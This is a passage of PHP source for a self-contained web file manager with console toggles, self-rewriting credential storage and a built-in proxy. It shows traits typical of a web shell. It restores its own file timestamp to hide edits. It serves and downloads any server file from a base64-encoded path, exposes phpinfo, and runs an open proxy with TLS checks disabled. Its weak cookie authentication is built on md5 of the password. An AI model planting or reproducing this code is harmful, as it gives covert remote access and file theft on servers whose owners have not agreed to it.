Mtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2